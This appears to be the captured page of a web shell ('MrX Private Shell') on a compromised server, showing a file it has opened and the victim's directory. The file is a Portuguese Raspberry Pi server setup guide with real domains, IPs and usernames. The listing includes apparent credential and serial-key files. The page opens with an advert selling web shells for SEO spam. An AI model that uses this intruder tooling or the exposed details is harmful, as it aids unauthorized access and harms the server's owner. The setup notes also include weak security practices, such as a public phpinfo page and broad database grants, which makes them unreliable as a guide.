__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
Configurar servidor

raspi-config

---------------------------------------
nano /etc/dphys-swapfile

2048
---------------------------------------

Hostname

nano /etc/hostname

rpi

---------------------------------------
Hosts

nano /etc/hosts

127.0.0.1	localhost.localdomain	localhost
192.168.1.25	rpi.antonini.ddns.net	rpi

::1		localhost ip6-localhost ip6-loopback
ff02::1		ip6-allnodes
ff02::2		ip6-allrouters

127.0.1.1	rpi

---------------------------------------

IP fixo

nano /etc/dhcpcd.conf

interface eth0
static ip_address=192.168.1.5/24
static routers=192.168.1.1
static domain_name_servers=192.168.1.1
static domain_search=

interface wlan=0
static ip_address=192.168.1.25
static routers=192.168.1.1
static domain_name_servers=192.168.1.1
static domain_search=

interface wlan=1
static ip_address=192.168.222.86
static routers=192.168.222.1
static domain_name_servers=192.168.222.1
static domain_search=

após “comandar”

systemctl daemon-reload

depois reboot

Dica aqui: https://www.modmypi.com/blog/how-to-give-your-raspberry-pi-a-static-ip-address-update

---------------------------------------

Instalar Bind9

sudo apt-get -y install bind9 dnsutils

nano /etc/bind/named.conf.local

Incluir no final:

zone "antonini.psc.br" IN {
    	type master;
    	file "/etc/bind/db.psc";
};

zone "cienciasdasaude.med.br" IN {
    	type master;
    	file "/etc/bind/db.ciencias";
};

zone "antonini.med.br" IN {
    	type master;
    	file "/etc/bind/db.med";
};

zone "27.187.179.in-addr.arpa" {
    	type master;
    	file "/etc/bind/db.192";
};

Criar o arquivo db.psc:

nano /etc/bind/db.psc

Colar dentro dele:

$TTL 604800
@           	IN  	SOA 	rpi.antonini.psc.br. root.antonini.antonini.psc.br. (
            	01012005    	; Serial
            	604800      	; Refresh
            	86400       	; Retry
            	2419200     	; Expire
            	604800 )    	; Negative Cache TTL
;
@           	IN  	NS  	rpi.antonini.psc.br.
@           	IN  	MX  	5   	mail
@           	IN  	A   	179.184.27.64
rpi	  	IN  	A   	179.184.27.64
mail        	IN  	A   	179.184.27.64
www        	IN  	A   	179.184.27.64
ftp        	IN  	A   	179.184.27.64
blogmed       	IN  	A   	179.184.27.64
midia        	IN  	A   	179.184.27.64

Criar o arquivo db.ciencias

nano /etc/bind/db.ciencias


$TTL 604800
@            IN      SOA     ns1.cienciasdasaude.med.br. root.antonini.antonini.psc.br. (
                01012005        ; Serial
                604800          ; Refresh
                86400           ; Retry
                2419200         ; Expire
                604800 )        ; Negative Cache TTL
;
@           	IN  	NS  	ns1.cienciasdasaude.med.br.
@           	IN  	MX  	5   	mail
@           	IN  	A   	177.207.211.213
ns1	  	IN  	A   	177.207.211.213
mail        	IN  	A   	177.207.211.213
www        	IN  	A   	177.207.211.213
ftp        	IN  	A   	177.207.211.213


Criar o arquivo db.med:

nano /etc/bind/db.med

Colar dentro dele:

$TTL 604800
@           	IN  	SOA 	ns1.antonini.med.br. root.antonini.antonini.med.br. (
            	01012005    	; Serial
            	604800      	; Refresh
            	86400       	; Retry
            	2419200     	; Expire
            	604800 )    	; Negative Cache TTL
;
@           	IN  	NS  	ns1.antonini.med.br.
@           	IN  	MX  	5   	mail
@           	IN  	A   	177.207.211.213
ns1	  	IN  	A   	177.207.211.213
mail        	IN  	A   	177.207.211.213
www        	IN  	A   	177.207.211.213
ftp        	IN  	A   	177.207.211.213
blogmed       	IN  	A   	177.207.211.213

------------------------------------------------------------------

Criar o arquivo db.rev

nano /etc/bind/db.rev

@       IN      SOA     rpi.antonini.psc.br. antonini.antonini.psc.br. (
                        2015121608	; serial, todays date + todays serial #
                        7200		; refresh, seconds
                        540		; retry, seconds
                        604800	; expire, seconds
                        86400 )	; minimum, seconds
;
64	3600	PTR	antonini.psc.br.
antonini.psc.br. 3600      TXT        "v=spf1 mx a ~all"
---------------------------------------


Instalar LAMP

apt-get install -y apache2 apache2-utils libapache2-mod-php php php-pear php-mysql php-curl php-gd php-mbstring php-gmp php-bcmath

cd /var/www/html

sudo echo "<?php phpinfo(); ?>" | sudo tee info.php

sudo apt-get install -y mariadb-server mariadb-client

mysql_secure_installation

mysql -u root -p

CREATE USER 'heinz'@'localhost' IDENTIFIED BY 'senha';

GRANT ALL PRIVILEGES ON * . * TO 'heinz'@'localhost';

FLUSH PRIVILEGES;

cd /etc/apache2/sites-available/

nano antonini.ddns.net.conf

<VirtualHost *:443>
    ServerAdmin antonini@antonini.psc.br
    ServerName antonini.ddns.net
    DocumentRoot /var/www/html/blogmed/
    SSLEngine on
    SSLCertificateFile	/etc/apache2/ssl/apache.crt
    SSLCertificateKeyFile /etc/apache2/ssl/apache.key
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

a2ensite antonini.ddns.net.conf

systemctl reload apache2

sudo apt-get install -y phpmyadmin

> Reconfigurar webserver: apache

> Configurar base de dados dbconfig-common para o phpmyadmin sim (ou yes)

> Digitar a senha do usuário administrativo do MySQL : senha do MySQL

> Digitar uma senha  para o PHPMySQL : usar a mesma senha do MySQL

abrir o arquivo 

nano /etc/apache2/apache2.conf 

incluir no final do arquivo a linha

Include /etc/phpmyadmin/apache.conf

Caso o phpmyadmin dê erro (não encontrado ou acesso negado) digitar no terminal:

sudo ln -s /usr/share/phpmyadmin /var/www/

Caso dê este erro:

phpMyAdmin - Error
The mbstring extension is missing. Please check your PHP configuration.

---------------------------------------

Criar certificado ssl:

mkdir /etc/apache2/ssl

openssl req -x509 -nodes -days 1825 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

BR
PARANA
CURITIBA
ANTONINI
SERVIDOR
rpi.antonini.psc.br 
antonini.antonini.ddns.net
antonini@antonini.psc.br

a2enmod ssl

service apache2 reload

service apache2 restart

---------------------------------------
Criar site:

mysql -u heinz -p

create database blogmed;

create database zp;

cd /etc/apache2/sites-available/

nano antonini.ddns.net.conf
<VirtualHost *:443>
    ServerAdmin antonini@antonini.psc.br
    ServerName antonini.ddns.net
    DocumentRoot /var/www/html/blogmed/
    SSLEngine on
    SSLCertificateFile	/etc/apache2/ssl/apache.crt
    SSLCertificateKeyFile /etc/apache2/ssl/apache.key
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

a2ensite antonini.ddns.net.conf

systemctl reload apache2

---------------------------------------

Baixar e instalar Wordpress

wget https://br.wordpress.org/latest-pt_BR.zip

unzip latest-pt_BR.zip

nano wp-config.php

---------------------------------------
apt-get install -y proftpd

nano /etc/proftpd/proftpd.conf

UseIPv6 off

systemctl reload proftpd

ou

Instalar vsftpd

apt-get install -y vsftpd

depois:

nano /etc/vsftpd.conf

Faça as seguintes alterações:
*anonymous_enable=YES para anonymous_enable=NO
*Remova local_enable=YES e write_enable=YES apagando o símbolo # à frente de cada linha.
*A seguir, vá para o fim do arquivo e acrescente: 
force_dot_files=YES

Criar link simbólico para o usuário pi acessar a pasta var/www
ln -s /var/www/html ~/www

---------------------------------------
1. CRIAR UM DIRETÓRIO PARA A INSTALAÇÃO

mkdir noip

cd noip

2. BAIXAR O SOFTWARE CLIENTE

wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz

3. DESCOMPACTAR O ARQUIVO

tar vzxf noip-duc-linux.tar.gz

cd noip-2.1.9-1

4. COMPILAR E INSTALAR O SOFTWARE

make

make install

Durante a instalação o software irá solicitar que seja digitado o seu nome de usuário e senha. Uma vez feito isso ele irá pedir o intervalo de atualização. Mantenha o valor padrão. Você será obrigado a responder a mais algumas perguntas…

5. INICIAR O CLIENTE

/usr/local/bin/noip2

6. INICIAR AUTOMATICAMENTE O CLIENTE DURANTE O BOOT
Para conseguir que o software inicie automaticamente durante a inicialização do sistema, é necessário modificar o arquivo rc.local:

nano /etc/rc.local

Após abrir o arquivo, localize as linhas (normalmente na parte final do arquivo):

fi
exit 0

Insira a linha abaixo entre estas linhas:

/usr/local/bin/noip2

7. VERIFICANDO SE O SOFTWARE CLIENTE ESTÁ RODANDO

/usr/local/bin/noip2 -S

---------------------------------------
Mudar a porta no apache

nano /etc/apache2/ports.conf

---------------------------------------
Mudar porta SSH

nano /etc/ssh/sshd_config

Descomentar a linha #Port 22 e mudar a porta.
---------------------------------------
nano /etc/php/7.3/apache2/php.ini

upload_max_filesize

2048

memory_limit

2048

post_max_size

2048

/etc/init.d/apache2 force-reload

/etc/init.d/apache2 restart

---------------------------------------
Adicionar usuário:

adduser heinz

nano /etc/passwd

/var/www/html

---------------------------------------

Descobrir o UUID de um disco, pendrive ou dispositivo

ls -alh /dev/disk/by-uuid/

Disco rígido Samsung 1TB
da73d3f8-1058-484d-b00c-18859bc707f7

Pendrive Kingstone USB 3.0 128GB
a8cb019e-aac4-4bf0-83cc-67cc27e20f76

UUID=<dispositivo>    /var    ext4	defaults,noatime  0   	3

---------------------------------------
Para montar o disco:
mkdir /mnt/hd_externo
mount /dev/sda1 /mnt/hd_externo/

fstab no Raspberry Pi

proc        	/proc       	proc	defaults      	0   	0
/dev/mmcblk0p6  /boot       	vfat	defaults      	0   	2
/dev/mmcblk0p7  /           	ext4	defaults,noatime  0   	1
UUID=		/var	        ext4	defaults,noatime 0	3
# a swapfile is not a swap partition, no line here
#   use  dphys-swapfile swap[on|off]  for that

UUID=59f4337e-c8ce-4c24-98d8-3a90bcf608b2		/home	ext4	defaults,noatime 0	2

Para desmontar:
umount “DIRETORIO”

---------------------------------------


Filemanager

Name Type Size Permission Actions
.trash7206 Folder 0755
119898102-1.pdf File 426.48 KB 0644
119898102.pdf File 426.48 KB 0644
20210517_Mi_Dash_Cam_1S_Manual-1.pdf File 400.17 KB 0644
20210517_Mi_Dash_Cam_1S_Manual.pdf File 400.17 KB 0644
CT_COTEL_2014_2_03.pdf File 570.29 KB 0644
Carta.pdf File 248.76 KB 0644
Manual-Servidor-Debian.pdf File 807.84 KB 0644
Tidd_e_Bessant.pdf File 4.74 MB 0644
a2enmod_a2enconf.txt File 204 B 0644
aleixandre.html File 1.79 KB 0644
aleixandre.txt File 1.36 KB 0644
alterar_sql.txt File 544 B 0644
apache-ddns.txt File 329 B 0644
apache-ssl.txt File 1.23 KB 0644
apache.txt File 5.05 KB 0644
apagar-disco.txt File 481 B 0644
atualizar_um_pacote.txt File 38 B 0644
b93 File 23.85 KB 0644
banco.txt File 59 B 0644
bind-caduceu-uh.txt File 2.91 KB 0644
biostar-3060.pdf File 1.51 MB 0644
biostart_J3060-1.pdf File 1.51 MB 0644
biostart_J3060.pdf File 1.51 MB 0644
bug_libssl1_1_amd64.txt File 138 B 0644
cef_modseg.txt File 238 B 0644
cert-ssl.txt File 165 B 0644
certbot.txt File 47 B 0644
cff_cartilagem_de_tubarao__.pdf File 121.67 KB 0644
chromebook-ad1br.txt File 21 B 0644
citadel.txt File 2.77 KB 0644
comandos_mysql.txt File 3.45 KB 0644
coment_prost_inf.txt File 608 B 0644
config-ssh.txt File 3.22 KB 0644
converter-sem-audio.txt File 137 B 0644
converter.txt File 203 B 0644
cor_destaque_fonte.txt File 90 B 0644
corrigir-particao.txt File 533 B 0644
corrigir.txt File 171 B 0644
cups-admin.txt File 27 B 0644
dash.txt File 28 B 0644
data_wordpress.txt File 16 B 0644
dengue_aspecto_epidemiologicos_diagnostico_tratamento.pdf File 247.65 KB 0644
dep_kdenlive.txt File 41 B 0644
depuracao_usb.txt File 329 B 0644
desinstalar_nautilus.txt File 41 B 0644
dez_diretivas-bolsanello-1982.pdf File 1.17 MB 0644
dhcpc-rpi.txt File 440 B 0644
dicas.txt File 33.84 KB 0644
dir_mysql.txt File 15 B 0644
dkpg-confgure.txt File 229 B 0644
dns-caduceu.txt File 3.56 KB 0644
dns-com-uolhost.txt File 3.45 KB 0644
dns-ipv6.txt File 1.53 KB 0644
dns-ns1-com-uol.txt File 7.03 KB 0644
dns-ns1.txt File 6.89 KB 0644
dns-ns2.txt File 3.57 KB 0644
dns-rpi-puro.txt File 6.88 KB 0644
dns-rpi.txt File 6.95 KB 0644
doge.gif File 0 B 0644
dvr_787hd.pdf File 1.32 MB 0644
dwr920v-1.pdf File 5.31 MB 0644
dwr920v.pdf File 5.31 MB 0644
email-adv-mauro.txt File 86 B 0644
encaminhamentos.txt File 424 B 0644
extrair-mbr.txt File 78 B 0644
f59 File 23.85 KB 0644
ffmpeg-cortar.txt File 74 B 0644
ffmpeg-trasicao.txt File 394 B 0644
ffmpeg.txt File 3.33 KB 0644
ftp.txt File 418 B 0644
gerar_senha_aleatoria.txt File 48 B 0644
gif-mp4.txt File 429 B 0644
gnome-classic.txt File 94 B 0644
grpr-ipva-2023.pdf File 59.11 KB 0644
gsmartcontrol.txt File 73 B 0644
home_zp.txt File 458 B 0644
hostgator.txt File 50 B 0644
iframe-docs.txt File 217 B 0644
iframe-noticias.txt File 132 B 0644
iframe.txt File 116 B 0644
ifup.txt File 51 B 0644
img-pop.txt File 230 B 0644
img-popup.txt File 579 B 0644
impressora-debian.txt File 147 B 0644
impressora.txt File 153 B 0644
index.html File 279 B 0644
index.php File 5.63 KB 0644
inserir-dropbox.txt File 215 B 0644
inserir-html.txt File 224 B 0644
inserir-moodle.txt File 162 B 0644
inserir-mp4.txt File 223 B 0644
inserir-musicais.txt File 243 B 0644
inserir-psc.txt File 246 B 0644
inserir-videos.txt File 243 B 0644
inserir-x.txt File 214 B 0644
inserir-youtube.txt File 123 B 0644
inserir-yt.txt File 231 B 0644
inserir.txt File 3.35 KB 0644
inserir2.txt File 2.91 KB 0644
inserir_video_com.txt File 246 B 0644
instalar-uolhost.txt File 4.02 KB 0644
install_ns1.txt File 1.4 KB 0644
interfaces-rpi.txt File 425 B 0644
interfaces2.txt File 240 B 0644
ip_fixo-gvt.txt File 690 B 0644
ip_wordpress.txt File 98 B 0644
ipv6-rpi-3b.txt File 38 B 0644
ipv6-vb-srv.txt File 223 B 0644
ipv6-vbox-midia.txt File 40 B 0644
ipv6.txt File 162 B 0644
kill.txt File 97 B 0644
largura_imagens.txt File 11 B 0644
lcd-rpi.txt File 605 B 0644
license.txt File 0 B 0644
limpa_ram.txt File 74 B 0644
limpar_cache.txt File 98 B 0644
links_absurdos_lulistas.txt File 6.67 KB 0644
lista-compactados-zp.txt File 86.47 KB 0644
lista.txt File 131 B 0644
mate.txt File 173 B 0644
menu-psc.txt File 1.45 KB 0644
mesclar-audio-video.txt File 82 B 0644
mesclar-mijia.txt File 60 B 0644
mesclar.txt File 150 B 0644
mkfs.txt File 19 B 0644
moodle.txt File 129 B 0644
mt.txt File 1.4 KB 0644
musicais.txt File 1021 B 0644
my-2018_181-5b1-gol-66-1.pdf File 3.8 MB 0644
my-2018_181-5b1-gol-66.pdf File 3.8 MB 0644
mysql-ddns.txt File 708 B 0644
mysql-opatriota.txt File 382 B 0644
mysql.txt File 424 B 0644
nasa.txt File 766 B 0644
nfe-chromebook-3.pdf File 31.81 KB 0644
nfe-rpi-3b-1.pdf File 31.29 KB 0644
nfe-rpi-3b.pdf File 31.29 KB 0644
noip.txt File 1.88 KB 0644
nslookup.txt File 25 B 0644
ntp.txt File 1.15 KB 0644
pacotes.txt File 699 B 0644
paragrafos.txt File 38 B 0644
path.txt File 248 B 0644
php_ini.txt File 173 B 0644
phpmyadmin.txt File 5.19 KB 0644
plat-brasil.txt File 63 B 0644
pop-mae.txt File 55 B 0644
portas_servidor.txt File 1.33 KB 0644
pular_ssl.txt File 1010 B 0644
pureftpd.txt File 164 B 0644
pw_ddns.txt File 12 B 0644
pw_reaa.txt File 23 B 0644
rc-local-rpi.txt File 437 B 0644
reconf_phpmyadmin.txt File 514 B 0644
reconfigure-dash.txt File 28 B 0644
remover_trava_ssh.txt File 80 B 0644
restauracao-mbr.txt File 348 B 0644
restaurar-img.txt File 331 B 0644
rm_dropbox-cache.txt File 80 B 0644
rm_exif.txt File 212 B 0644
rm_metadata.txt File 169 B 0644
rm_temas.txt File 246 B 0644
rotulos_que_marcam.pdf File 159.23 KB 0644
rpi-ssl.txt File 1018 B 0644
rpi-temp.txt File 42 B 0644
rpiconfserver-ddns.txt File 9.74 KB 0644
rpiconfserver.txt File 12.21 KB 0644
saida-mbr.txt File 88 B 0644
saida.txt File 82 B 0644
script-rc_local-noip.txt File 346 B 0644
selene.txt File 25 B 0644
serial-dwcs3.txt File 174 B 0644
serial-easy-recovery.txt File 30 B 0644
serial-win8pro.txt File 30 B 0644
servidor-caduceu-uolhost.txt File 4.14 KB 0644
servidor-ddns-debian10.txt File 8.41 KB 0644
servidor-ddns-ubuntu20.txt File 5.38 KB 0644
servidor-ns1-uolhost.txt File 4.13 KB 0644
servidor-ns2-uolhost.txt File 5.24 KB 0644
smb-i.txt File 140 B 0644
smb.txt File 687 B 0644
socialismo.txt File 622 B 0644
speedtest.txt File 44 B 0644
sql.txt File 162 B 0644
sql_home_zp.txt File 126 B 0644
sudo.txt File 219 B 0644
temp-rpi.txt File 42 B 0644
temp.txt File 65 B 0644
tor_rpi.txt File 233 B 0644
trim.txt File 1.52 KB 0644
tutorial_endnote_web.pdf File 7 MB 0644
upg_wp.txt File 819 B 0644
uuid.txt File 112 B 0644
vacina_spike.pdf File 909.13 KB 0644
vbox-instalar.txt File 183 B 0644
vi.txt File 172 B 0644
video-mp4-nvu.txt File 218 B 0644
video-mp4.txt File 179 B 0644
video-webm-nvu.txt File 220 B 0644
video-webm.txt File 183 B 0644
video.txt File 228 B 0644
vmware.txt File 34 B 0644
vsftp.txt File 414 B 0644
webalizer.txt File 268 B 0644
wget.txt File 522 B 0644
width.txt File 12 B 0644
wine.txt File 120 B 0644
wordpress.txt File 1.11 KB 0644
wp-atualizacoes.txt File 244 B 0644
wp-blog-header.php File 2.73 KB 0644
wp-cron.php File 2.73 KB 0644
xorg.txt File 975 B 0644
youtube-dl.txt File 2.13 KB 0644
Filemanager